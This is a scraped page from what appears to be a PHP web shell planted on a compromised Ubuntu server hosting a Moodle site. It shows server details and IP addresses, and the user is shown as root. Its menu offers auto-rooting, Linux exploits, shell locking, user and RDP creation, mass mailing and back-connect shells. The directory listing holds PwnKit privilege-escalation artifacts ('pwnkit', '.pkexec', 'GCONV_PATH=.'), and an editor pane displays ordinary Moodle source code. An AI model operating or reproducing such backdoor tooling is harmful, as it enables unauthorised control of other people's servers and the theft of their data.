Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
competency /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxrwxr-x
privacy
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
api.php
200.13
KB
-rw-rw-r--
competency.php
27.47
KB
-rw-rw-r--
competency_framework.php
15.79
KB
-rw-rw-r--
competency_rule.php
3.03
KB
-rw-rw-r--
competency_rule_all.php
2.77
KB
-rw-rw-r--
competency_rule_points.php
6.65
KB
-rw-rw-r--
course_competency.php
13.66
KB
-rw-rw-r--
course_competency_settings.php
3.92
KB
-rw-rw-r--
course_module_competency.php
10.37
KB
-rw-rw-r--
evidence.php
10.28
KB
-rw-rw-r--
external.php
133.51
KB
-rw-rw-r--
invalid_persistent_exception.p...
1.39
KB
-rw-rw-r--
persistent.php
2.83
KB
-rw-rw-r--
plan.php
21.52
KB
-rw-rw-r--
plan_competency.php
5.36
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
related_competency.php
7.23
KB
-rw-rw-r--
template.php
5.72
KB
-rw-rw-r--
template_cohort.php
8.04
KB
-rw-rw-r--
template_competency.php
8.83
KB
-rw-rw-r--
url.php
6.07
KB
-rw-rw-r--
user_competency.php
16.48
KB
-rw-rw-r--
user_competency_course.php
9.13
KB
-rw-rw-r--
user_competency_plan.php
11.74
KB
-rw-rw-r--
user_evidence.php
5.66
KB
-rw-rw-r--
user_evidence_competency.php
5.38
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : template_cohort.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Template cohort persistent. * * @package core_competency * @copyright 2015 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core_competency; defined('MOODLE_INTERNAL') || die(); use lang_string; use core_competency\template; /** * Template cohort persistent. * * @package core_competency * @copyright 2015 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class template_cohort extends persistent { const TABLE = 'competency_templatecohort'; /** 2 hours of threshold to prevent expired plans **/ const DUEDATE_THRESHOLD = 7200; /** * Return the custom definition of the properties of this model. * * @return array Where keys are the property names. */ protected static function define_properties() { return array( 'templateid' => array( 'type' => PARAM_INT ), 'cohortid' => array( 'type' => PARAM_INT ) ); } /** * Validate the cohort ID. * * @param int $value The cohort ID. * @return true|lang_string */ protected function validate_cohortid($value) { global $DB; if (!$DB->record_exists('cohort', array('id' => $value))) { return new lang_string('invaliddata', 'error'); } return true; } /** * Validate the template ID. * * @param int $value The template ID. * @return true|lang_string */ protected function validate_templateid($value) { if (!template::record_exists($value)) { return new lang_string('invaliddata', 'error'); } return true; } /** * Return an array of user IDs for which the plans are missing. * * Plans are considered as missing when a member of a cohort does not have a plan created. * When the parameter $unlinkedaremissing is set to false, plans that were unlinked from * their template will be ignored so that we do not recreate unlinked plans endlessly. * * This method ignores the due date of the template. * * @param int $templateid The template ID. * @param int $cohortid The cohort ID. * @param boolean $unlinkedaremissing When true, unlinked plans are considered as missing. * @return int[] User IDs. */ public static function get_missing_plans($templateid, $cohortid, $unlinkedaremissing = false) { global $DB; $skipsql = ''; $skipparams = array(); if (!$unlinkedaremissing) { $skipsql = 'OR p.origtemplateid = :origtemplateid'; $skipparams = array('origtemplateid' => $templateid); } $sql = "SELECT cm.userid FROM {cohort_members} cm LEFT JOIN {" . plan::TABLE . "} p ON p.userid = cm.userid AND (p.templateid = :templateid $skipsql) WHERE cm.cohortid = :cohortid AND p.id IS NULL"; $params = array('templateid' => $templateid, 'cohortid' => $cohortid) + $skipparams; return $DB->get_fieldset_sql($sql, $params); } /** * Get a relation. * * This does not perform any validation on the data passed. If the relation exists in the database * then it is loaded in a the model, if not then it is up to the developer to save the model. * * @param int $templateid * @param int $cohortid * @return template_cohort */ public static function get_relation($templateid, $cohortid) { global $DB; $params = array( 'templateid' => $templateid, 'cohortid' => $cohortid ); $relation = new static(null, (object) $params); if ($record = $DB->get_record(self::TABLE, $params)) { $relation->from_record($record); } return $relation; } /** * Get a relations by templateid. * * This does not perform any validation on the data passed. If the relation exists in the database * then it is loaded in a the model, if not then it is up to the developer to save the model. * * @param int $templateid * @return template_cohort[] array of template cohort */ public static function get_relations_by_templateid($templateid) { global $DB; $params = array( 'templateid' => $templateid ); $relations = array(); $records = $DB->get_records(self::TABLE, $params); foreach ($records as $record) { $relations[] = new template_cohort(0, $record); } return $relations; } /** * Return an array of templates persistent with their missing userids. * * Note that only cohorts associated with visible templates are considered, * as well as only templates with a due date in the future, or no due date. * * @param int $lastruntime The last time the Cohort ssync task ran. * @param bool $unlinkedaremissing When true, unlinked plans are considered as missing. * @return array( array( * 'template' => \core_competency\template, * 'userids' => array * )) */ public static function get_all_missing_plans($lastruntime = 0, $unlinkedaremissing = false) { global $DB; $planwhereclause = " WHERE (p.id is NULL AND (cm.timeadded >= :lastruntime1 OR tc.timecreated >= :lastruntime3 OR t.timemodified >= :lastruntime4))"; if ($unlinkedaremissing) { $planwhereclause .= " OR (p.origtemplateid IS NOT NULL AND cm.timeadded < :lastruntime2)"; } $sql = "SELECT " . $DB->sql_concat('cm.userid', 'tc.templateid') . " as uniqueid, cm.userid, t.* FROM {cohort_members} cm JOIN {" . self::TABLE . "} tc ON cm.cohortid = tc.cohortid JOIN {" . template::TABLE . "} t ON (tc.templateid = t.id AND t.visible = 1) AND (t.duedate = 0 OR t.duedate > :time1) LEFT JOIN {" . plan::TABLE . "} p ON (cm.userid = p.userid AND (t.id = p.templateid OR t.id = p.origtemplateid)) $planwhereclause ORDER BY t.id"; $params = array('time1' => time(), 'time2' => time(), 'lastruntime1' => $lastruntime, 'lastruntime2' => $lastruntime, 'lastruntime3' => $lastruntime, 'lastruntime4' => $lastruntime); $results = $DB->get_records_sql($sql, $params); $missingplans = array(); foreach ($results as $usertemplate) { $userid = $usertemplate->userid; // Check if template already exist in the array. if (isset($missingplans[$usertemplate->id])) { $missingplans[$usertemplate->id]['userids'][] = $userid; } else { unset($usertemplate->userid); unset($usertemplate->uniqueid); $template = new template(0, $usertemplate); $missingplans[$template->get('id')]['template'] = $template; $missingplans[$template->get('id')]['userids'][] = $userid; } } return array_values($missingplans); } }
Close